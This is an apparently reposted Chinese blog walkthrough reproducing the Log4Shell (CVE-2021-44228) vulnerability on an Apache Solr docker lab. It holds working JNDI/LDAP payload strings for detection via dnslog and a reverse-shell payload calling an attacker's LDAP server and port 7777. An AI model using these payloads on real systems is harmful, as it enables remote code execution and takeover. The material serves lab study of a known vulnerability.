Apache log4j2(CVE-2021-44228)漏洞(复现详细过程)

目录

漏洞介绍:

漏洞原理:

漏洞复现:

漏洞复现:

总结

漏洞介绍:

       Log4j为了输出日志时能输出任意位置的Java对象,引入了Lookup接口,这个Lookup接口可以看作是JNDI 的一种实现,允许按照具体的名称逻辑查找对象的位置,并输出对象的内容,此对象可以通过Java的序列化或反序列化传输,从远程服务器上查找。

     由于Lookup接口的原因,Log4j就暗含JNDI注入漏洞,可以联合使用JNDI+LDAP或者JNDI+RMI通过命名功能直接从远程服务器上调用文件并在本地执行。

       Log4j在处理消息转换时,会按照字符检测每条日志,当日志中包含${}时,则会将表达式的内容替换成真实 的内容(即lookup接口查找得到的内容),使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j的漏洞。

漏洞原理:

import org.apache.logging.log4j.LogManager; 
import org.apache.logging.log4j.Logger; 
public class Example { 
  public static void main(String[] args) { 
    Logger logger = LogManager.getLogger(Example.class); 
    String user_input = args[0]; 
    logger.info("User input: " + user_input); 
  } 
}

       在这个示例中,我们使用了log4j的Java API来记录日志。然而,我们没有对用户输入进行任何过滤或验证,这意味着如果用户输入包含恶意代码,它将会被记录到日志文件中。这个漏洞的根本原因在于log4j的默认配置允许使用解析日志消息中的对象。攻击者可以构造恶意的日志消息,其中包含一个恶意的Java对象,当log4j尝试解析这个对象时,它将会触发漏洞,导致攻击者能够执行任意代码。

漏洞复现:

一、使用docker搭建实验环境,进入漏洞所在目录,启动环境

docker-compose up -d

 查看docker进程

docker ps -a

 环境启动成功后,在本地用浏览器访问your-ip:8983,至此漏洞环境搭建完成。

漏洞复现:

首先我们先验证漏洞是否存在:

配合dnslog平台常见的dnslog平台 ,这个我们使用ceye:http://ceye.io/

登录进平台后,进行账号注册登录,在主页面我们会看到我们的一个域名

将我们的域名设为payload:${jndi:ldap://域名/exp} 构建在http://your-ip:8983/solr/admin/cores? action=后面

点击回车后,我们在dnslog平台会看到回显,这是由于通过ldap去我们的域名下寻找exp方法,dnslog平台是一个流量接码平台,只要有流量访问域名,那么就会被记录下来。 

dnslog平台回显的数据包,证明存在漏洞。 

然后进行漏洞利用

使用工具,在我们本机注册一个JNDI服务,并且把恶意类一同注入。绑定成功后会提示我们开启了LDAP在1389端口,恶意类在8080端口。

 反弹shell

使用nc监听本地的7777端口:

构建Payload:

http://your-ip:8983/solr/admin/cores?action=${jndi:ldap://your-ip:1389/Basic/ReverseShell/your-ip/7777}

我们在请求/Basic/ReverseShell/进行反弹shell操作,反弹到我们攻击机的7777端口

此时在监听7777端口就会出现回显,shell反弹成功

接下来我们就可以进行命令执行的操作

至此漏洞复现完成。

总结

以上就是漏洞复现的全部流程,如果有需要上面工具的小伙伴请私聊我,非常愿意分享。

猜你喜欢

转载自blog.csdn.net/m0_52701599/article/details/129871573